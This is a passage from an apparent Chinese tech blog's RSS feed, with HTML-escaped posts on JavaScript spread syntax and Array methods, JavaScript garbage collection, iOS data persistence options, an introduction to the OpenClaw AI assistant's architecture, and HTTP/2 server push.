&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;arr2&lt;/span&gt; &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arr1&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// false
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;arr1&lt;/span&gt;[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;400&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;arr2&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 不受影响
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;arr1&lt;/span&gt;[&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;][&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;600&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;arr2&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 受影响（只拷贝了一层）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="2"&gt;
&lt;li&gt;&lt;strong&gt;合并数组&lt;/strong&gt;：&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;([...[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;], ...[&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;]]); &lt;span style="color:#75715e"&gt;// [1, 2, 3, 4, 5, 6]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="3"&gt;
&lt;li&gt;&lt;strong&gt;解构赋值&lt;/strong&gt;：&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; [&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;, ...&lt;span style="color:#a6e22e"&gt;list&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, ...[&lt;span style="color:#e6db74"&gt;&amp;#34;a&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;b&amp;#34;&lt;/span&gt;]];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;list&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// [&amp;#34;a&amp;#34;, &amp;#34;b&amp;#34;]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="4"&gt;
&lt;li&gt;&lt;strong&gt;将字符串转为数组&lt;/strong&gt;：&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;([...&lt;span style="color:#e6db74"&gt;&amp;#34;str&amp;#34;&lt;/span&gt;]); &lt;span style="color:#75715e"&gt;// [&amp;#34;s&amp;#34;, &amp;#34;t&amp;#34;, &amp;#34;r&amp;#34;]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="二arrayfrom"&gt;二、Array.from()&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;Array.from()&lt;/code&gt;方法用于将类数组对象或可迭代对象转换为真正的数组。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arrLike&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;0&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;内容&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;1&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;内容2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;2&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;内容3&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;length&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(Array.&lt;span style="color:#a6e22e"&gt;from&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;arrLike&lt;/span&gt;)); &lt;span style="color:#75715e"&gt;// [&amp;#34;内容&amp;#34;, &amp;#34;内容2&amp;#34;, &amp;#34;内容3&amp;#34;]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;此外，&lt;code&gt;Array.from()&lt;/code&gt;还可以接受一个回调函数，用于对数组中的每个元素进行处理。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arr&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Array.&lt;span style="color:#a6e22e"&gt;from&lt;/span&gt;({ &lt;span style="color:#a6e22e"&gt;length&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; }, () =&amp;gt; &lt;span style="color:#e6db74"&gt;&amp;#34;jack&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;arr&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// [&amp;#34;jack&amp;#34;, &amp;#34;jack&amp;#34;]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="三arrayof"&gt;三、Array.of()&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;Array.of()&lt;/code&gt;方法用于将一组值转换为数组，与Array构造函数的行为不同，Array.of()不会把一个参数作为数组的长度。&lt;/p&gt;</description></item><item><title>垃圾回收</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-016/</link><pubDate>Tue, 01 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-016/</guid><description>&lt;h2 id="写在前面"&gt;写在前面&lt;/h2&gt;
&lt;p&gt;我们知道垃圾回收机制是引擎来做的，JS引擎有很多种（各个浏览器都不同），其垃圾回收机制在一些细节及优化上略有不同，本文我们以一些通用的回收算法作为切入，再由 V8 引擎发展至今对该机制的优化为例（为什么以 V8 为例？因为它市场占有率大 😄 ），一步一步深入来助我们了解垃圾回收机制，因为只有真正了解垃圾回收机制，后面才能理解内存泄漏的问题以及手动预防和优化&lt;/p&gt;
&lt;p&gt;JavaScript 是门魅力无限的语言，关于它的 GC（垃圾回收）方面，你了解多少呢？想来大部分人是因为面试才去看一些面试题从而了解的垃圾回收，那在正式开始之前，给大家列几个小问题，大家可以先想一下答案，带着问题及答案再去看文章，最后读完此文如果你的答案可以优化，即有收获&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;什么是垃圾回收机制？&lt;/li&gt;
&lt;li&gt;垃圾是怎样产生的？&lt;/li&gt;
&lt;li&gt;为什么要进行垃圾回收？&lt;/li&gt;
&lt;li&gt;垃圾回收是怎样进行的？&lt;/li&gt;
&lt;li&gt;V8 引擎对垃圾回收进行了哪些优化？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;当然，我们可不仅仅是为了面试，其目的是一次性彻底搞懂 GC！&lt;/p&gt;
&lt;h2 id="gc是什么"&gt;GC是什么&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;GC&lt;/code&gt; 即 &lt;code&gt;Garbage Collection&lt;/code&gt; ，程序工作过程中会产生很多 &lt;code&gt;垃圾&lt;/code&gt;，这些垃圾是程序不用的内存或者是之前用过了，以后不会再用的内存空间，而 &lt;code&gt;GC&lt;/code&gt; 就是负责回收垃圾的，因为他工作在引擎内部，所以对于我们前端来说，&lt;code&gt;GC&lt;/code&gt; 过程是相对比较无感的，这一套引擎执行而对我们又相对无感的操作也就是常说的 &lt;code&gt;垃圾回收机制&lt;/code&gt; 了&lt;/p&gt;
&lt;p&gt;当然也不是所有语言都有 &lt;code&gt;GC&lt;/code&gt;，一般的高级语言里面会自带 &lt;code&gt;GC&lt;/code&gt;，比如 &lt;code&gt;Java、Python、JavaScript&lt;/code&gt; 等，也有无 &lt;code&gt;GC&lt;/code&gt; 的语言，比如 &lt;code&gt;C、C++&lt;/code&gt; 等，那这种就需要我们程序员手动管理内存了，相对比较麻烦&lt;/p&gt;
&lt;h2 id="垃圾产生为何回收"&gt;垃圾产生&amp;amp;为何回收&lt;/h2&gt;
&lt;p&gt;我们知道写代码时创建一个基本类型、对象、函数……都是需要占用内存的，但是我们并不关注这些，因为这是引擎为我们分配的，我们不需要显式手动的去分配内存&lt;/p&gt;
&lt;p&gt;但是，你有没有想过，当我们不再需要某个东西时会发生什么？JavaScript 引擎又是如何发现并清理它的呢？&lt;/p&gt;
&lt;p&gt;我们举个简单的例子&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;test&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;isboyjc&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;test&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;如上所示，我们假设它是一个完整的程序代码&lt;/p&gt;
&lt;p&gt;我们知道 &lt;code&gt;JavaScript&lt;/code&gt; 的引用数据类型是保存在堆内存中的，然后在栈内存中保存一个对堆内存中实际对象的引用，所以，&lt;code&gt;JavaScript&lt;/code&gt; 中对引用数据类型的操作都是操作对象的引用而不是实际的对象。可以简单理解为，栈内存中保存了一个地址，这个地址和堆内存中的实际值是相关的&lt;/p&gt;
&lt;p&gt;那上面代码首先我们声明了一个变量 &lt;code&gt;test&lt;/code&gt;，它引用了对象 &lt;code&gt;{name: 'isboyjc'}&lt;/code&gt;，接着我们把这个变量重新赋值了一个数组对象，也就变成了该变量引用了一个数组，那么之前的对象引用关系就没有了，如下图&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-016/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;没有了引用关系，也就是无用的对象，这个时候假如任由它搁置，一个两个还好，多了的话内存也会受不了，所以就需要被清理（回收）&lt;/p&gt;
&lt;p&gt;用官方一点的话说，程序的运行需要内存，只要程序提出要求，操作系统或者运行时就必须提供内存，那么对于持续运行的服务进程，必须要及时释放内存，否则，内存占用越来越高，轻则影响系统性能，重则就会导致进程崩溃&lt;/p&gt;
&lt;h2 id="垃圾回收策略"&gt;垃圾回收策略&lt;/h2&gt;
&lt;p&gt;在 JavaScript 内存管理中有一个概念叫做 &lt;code&gt;可达性&lt;/code&gt;，就是那些以某种方式可访问或者说可用的值，它们被保证存储在内存中，反之不可访问则需回收&lt;/p&gt;
&lt;p&gt;至于如何回收，其实就是怎样发现这些不可达的对象（垃圾）它并给予清理的问题， &lt;code&gt;JavaScript&lt;/code&gt; 垃圾回收机制的原理说白了也就是定期找出那些不再用到的内存（变量），然后释放其内存&lt;/p&gt;</description></item><item><title>iOS中的数据库</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/ios%E4%B8%AD%E7%9A%84%E6%95%B0%E6%8D%AE%E5%BA%93/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/ios%E4%B8%AD%E7%9A%84%E6%95%B0%E6%8D%AE%E5%BA%93/</guid><description>&lt;p&gt;数据持久化是移动端开发的核心能力之一。iOS提供了从轻量级KV存储到完整关系数据库的多层次方案。本文将从底层存储原理出发，系统性地梳理iOS中各类数据库与持久化技术的设计思想、实现机制和适用场景。&lt;/p&gt;
&lt;h2 id="一ios数据持久化方案全景"&gt;一、iOS数据持久化方案全景&lt;/h2&gt;
&lt;p&gt;iOS中常见的数据持久化方案，按数据复杂度和使用场景可分为以下几层：&lt;/p&gt;
&lt;pre class="mermaid"&gt;graph TD
subgraph KV["轻量级KV存储"]
A["UserDefaults&lt;br/&gt;plist序列化"]
B["Keychain&lt;br/&gt;加密存储"]
C["MMKV&lt;br/&gt;mmap + protobuf"]
end
subgraph FILE["文件存储"]
D["plist / JSON"]
E["NSCoding / Codable&lt;br/&gt;归档"]
end
subgraph SQL["关系数据库"]
F["SQLite&lt;br/&gt;C语言API"]
G["FMDB&lt;br/&gt;OC封装"]
H["WCDB&lt;br/&gt;ORM + 加密"]
end
subgraph ORM["ORM框架"]
I["Core Data&lt;br/&gt;Apple官方"]
J["Realm&lt;br/&gt;零拷贝"]
K["SwiftData&lt;br/&gt;Swift原生"]
end
KV --&gt; |"数据结构更复杂"| FILE
FILE --&gt; |"需要结构化查询"| SQL
SQL --&gt; |"需要对象映射"| ORM
&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方案&lt;/th&gt;
&lt;th&gt;数据模型&lt;/th&gt;
&lt;th&gt;查询能力&lt;/th&gt;
&lt;th&gt;线程安全&lt;/th&gt;
&lt;th&gt;加密&lt;/th&gt;
&lt;th&gt;适用场景&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;UserDefaults&lt;/td&gt;
&lt;td&gt;KV (plist类型)&lt;/td&gt;
&lt;td&gt;Key查找&lt;/td&gt;
&lt;td&gt;线程安全&lt;/td&gt;
&lt;td&gt;无&lt;/td&gt;
&lt;td&gt;用户偏好、简单配置&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Keychain&lt;/td&gt;
&lt;td&gt;KV (Data)&lt;/td&gt;
&lt;td&gt;Key查找&lt;/td&gt;
&lt;td&gt;线程安全&lt;/td&gt;
&lt;td&gt;系统加密&lt;/td&gt;
&lt;td&gt;密码、Token、证书&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MMKV&lt;/td&gt;
&lt;td&gt;KV (protobuf)&lt;/td&gt;
&lt;td&gt;Key查找&lt;/td&gt;
&lt;td&gt;线程安全&lt;/td&gt;
&lt;td&gt;可选AES&lt;/td&gt;
&lt;td&gt;高频读写的KV数据&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;plist/JSON文件&lt;/td&gt;
&lt;td&gt;字典/数组&lt;/td&gt;
&lt;td&gt;无&lt;/td&gt;
&lt;td&gt;不安全&lt;/td&gt;
&lt;td&gt;无&lt;/td&gt;
&lt;td&gt;静态配置、缓存&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NSCoding/Codable&lt;/td&gt;
&lt;td&gt;对象图&lt;/td&gt;
&lt;td&gt;无&lt;/td&gt;
&lt;td&gt;不安全&lt;/td&gt;
&lt;td&gt;无&lt;/td&gt;
&lt;td&gt;对象序列化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SQLite&lt;/td&gt;
&lt;td&gt;关系表&lt;/td&gt;
&lt;td&gt;SQL&lt;/td&gt;
&lt;td&gt;需手动处理&lt;/td&gt;
&lt;td&gt;可选(SQLCipher)&lt;/td&gt;
&lt;td&gt;结构化数据、复杂查询&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FMDB&lt;/td&gt;
&lt;td&gt;关系表&lt;/td&gt;
&lt;td&gt;SQL&lt;/td&gt;
&lt;td&gt;FMDatabaseQueue&lt;/td&gt;
&lt;td&gt;可选&lt;/td&gt;
&lt;td&gt;SQLite的OC封装&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WCDB&lt;/td&gt;
&lt;td&gt;关系表+ORM&lt;/td&gt;
&lt;td&gt;SQL+ORM&lt;/td&gt;
&lt;td&gt;自动管理&lt;/td&gt;
&lt;td&gt;内置&lt;/td&gt;
&lt;td&gt;高性能结构化存储&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Core Data&lt;/td&gt;
&lt;td&gt;对象图&lt;/td&gt;
&lt;td&gt;NSPredicate&lt;/td&gt;
&lt;td&gt;NSManagedObjectContext&lt;/td&gt;
&lt;td&gt;无&lt;/td&gt;
&lt;td&gt;复杂对象关系&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Realm&lt;/td&gt;
&lt;td&gt;对象&lt;/td&gt;
&lt;td&gt;类型安全查询&lt;/td&gt;
&lt;td&gt;对象冻结&lt;/td&gt;
&lt;td&gt;可选AES&lt;/td&gt;
&lt;td&gt;高性能对象存储&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SwiftData&lt;/td&gt;
&lt;td&gt;Swift对象&lt;/td&gt;
&lt;td&gt;#Predicate宏&lt;/td&gt;
&lt;td&gt;ModelContext&lt;/td&gt;
&lt;td&gt;无&lt;/td&gt;
&lt;td&gt;Swift原生数据持久化&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="二轻量级kv存储"&gt;二、轻量级KV存储&lt;/h2&gt;
&lt;h3 id="21-userdefaults"&gt;2.1 UserDefaults&lt;/h3&gt;
&lt;p&gt;UserDefaults是iOS最常用的轻量级存储方案，底层将数据以plist格式序列化到磁盘。&lt;/p&gt;</description></item><item><title>OpenClaw 源码导读（一）：架构总览 — 为"单个主人"而设计的 AI Gateway</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ai/openclaw-%E6%9E%B6%E6%9E%84%E6%80%BB%E8%A7%88/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ai/openclaw-%E6%9E%B6%E6%9E%84%E6%80%BB%E8%A7%88/</guid><description>&lt;blockquote&gt;
&lt;p&gt;2025 年 11 月，&lt;a href="https://steipete.me"&gt;Peter Steinberger&lt;/a&gt;（PSPDFKit 创始人、前著名 iOS 社区人物）把自己折腾出来的个人 AI 助手 Molty 开源为 &lt;strong&gt;OpenClaw&lt;/strong&gt;。短短几个月，仓库吃到 35 万+ star、93 个 release、360 多个 contributor，核心代码量在 TypeScript/Swift/Kotlin/Go/Python 之间横跨 40 多万行。它和 Claude Code、Codex CLI 乍看都是&amp;quot;跑在本地的 CLI Agent&amp;quot;，但设计哲学完全不同——Claude Code 是一个&lt;strong&gt;编程助手&lt;/strong&gt;，OpenClaw 是一个长在你设备上的&lt;strong&gt;私人秘书&lt;/strong&gt;：它挂在 WhatsApp/Telegram/iMessage/微信 的 IM 客户端后面，能自己发消息、自己开浏览器、自己调用 iOS/Android 上的摄像头和麦克风。&lt;/p&gt;
&lt;p&gt;本文是 OpenClaw 源码导读系列的第一篇，目标是把整个项目的&amp;quot;地图&amp;quot;摊开。先讲清楚它要解决什么问题、在怎样的信任模型下运行，再把仓库 100 多个顶层模块拎出来分类，最后给出后续系列文章的导航。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="一它到底是什么"&gt;一、它到底是什么&lt;/h2&gt;
&lt;h3 id="1-一句话定义"&gt;1. 一句话定义&lt;/h3&gt;
&lt;p&gt;OpenClaw 官方给自己的定位是 &lt;em&gt;&amp;ldquo;Personal AI Assistant. Any OS. Any Platform. The lobster way.&amp;rdquo;&lt;/em&gt; 翻译过来就是：&lt;strong&gt;一个在你自己设备上运行、从你自己现有的聊天工具里和你对话的个人 AI 助手&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;这个定位里藏着三个关键差异：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Personal&lt;/strong&gt;：它不是多租户 SaaS，也不是团队协作工具，而是&lt;strong&gt;单一主人&lt;/strong&gt;的私人助手。整个信任模型就是为&amp;quot;只有一个 operator&amp;quot;优化的。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Any OS / Any Platform&lt;/strong&gt;：Gateway 是 Node 进程，可以跑在 macOS/Linux/Windows(WSL2)、甚至 Fly.io/Docker/NAS 上；客户端包含 iOS/Android/macOS 原生 App，还有 Web Dashboard。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The lobster way&lt;/strong&gt;：作者把它拟人化成一只太空龙虾 Molty，这是一个品牌/吉祥物层面的设计，但也反映了项目的&amp;quot;玩心&amp;quot;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-和-claude-code-对比两个相似却完全不同的-cli-agent"&gt;2. 和 Claude Code 对比：两个相似却完全不同的 CLI Agent&lt;/h3&gt;
&lt;p&gt;由于作者 Steipete 本身是 Claude Code 的重度用户和 Anthropic 的合作者，社区最常问的问题就是&amp;quot;和 Claude Code 有啥区别&amp;quot;。这里先画一张对比表：&lt;/p&gt;</description></item><item><title>http2.0 服务端推送</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-017/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-017/</guid><description>&lt;p&gt;HTTP/2.0 的 &lt;strong&gt;服务端推送（Server Push）&lt;/strong&gt; 是它相较于 HTTP/1.x 引入的一项重要功能，旨在优化网页加载性能，尤其是首次加载时资源依赖的获取效率。&lt;/p&gt;
&lt;h2 id="一什么是服务端推送"&gt;一、什么是服务端推送？&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;HTTP/2 Server Push&lt;/strong&gt; 允许服务器&lt;strong&gt;主动将资源“推送”给客户端&lt;/strong&gt;，而不是等待客户端明确请求。这在某些场景下可以&lt;strong&gt;预加载依赖资源、减少请求延迟&lt;/strong&gt;，提升页面的首屏加载速度。&lt;/p&gt;
&lt;p&gt;例如： 客户端请求了 HTML 页面，服务器可以在返回 HTML 的同时，&lt;strong&gt;主动推送&lt;/strong&gt;页面所需的 CSS/JS 资源。&lt;/p&gt;
&lt;h2 id="二服务端推送的工作原理"&gt;二、服务端推送的工作原理&lt;/h2&gt;
&lt;h3 id="流程概览"&gt;流程概览：&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;浏览器发送主资源请求（如 HTML）；&lt;/li&gt;
&lt;li&gt;服务器识别该请求需要哪些依赖资源（如 CSS、JS）；&lt;/li&gt;
&lt;li&gt;服务器将这些资源 &lt;strong&gt;打包为 PUSH_PROMISE 帧&lt;/strong&gt; 发送给客户端，声明它即将发送的资源；&lt;/li&gt;
&lt;li&gt;客户端接收到 &lt;code&gt;PUSH_PROMISE&lt;/code&gt; 后，&lt;strong&gt;会缓存该资源的响应&lt;/strong&gt;；&lt;/li&gt;
&lt;li&gt;当浏览器稍后真正需要这个资源时，&lt;strong&gt;不会再发起真实请求&lt;/strong&gt;，而是从缓存中获取推送的内容；&lt;/li&gt;
&lt;li&gt;避免了请求的 RTT 往返延迟。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="技术细节"&gt;技术细节：&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PUSH_PROMISE&lt;/strong&gt; 是 HTTP/2 中新增的帧类型，用于声明服务器准备推送的资源；&lt;/li&gt;
&lt;li&gt;所有推送的资源都绑定到一个主请求流（主页面），不能独立存在；&lt;/li&gt;
&lt;li&gt;客户端可选择 &lt;strong&gt;拒绝（RST_STREAM）&lt;/strong&gt; 不想要的推送资源；&lt;/li&gt;
&lt;li&gt;推送资源会根据缓存策略存储在浏览器的缓存中，不一定立即使用。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="三实际示例nginx--link-header"&gt;三、实际示例（Nginx + Link Header）&lt;/h2&gt;
&lt;p&gt;在使用 Nginx 部署 HTTP/2 服务时，可以通过 &lt;code&gt;Link&lt;/code&gt; 响应头启用 Server Push：&lt;/p&gt;
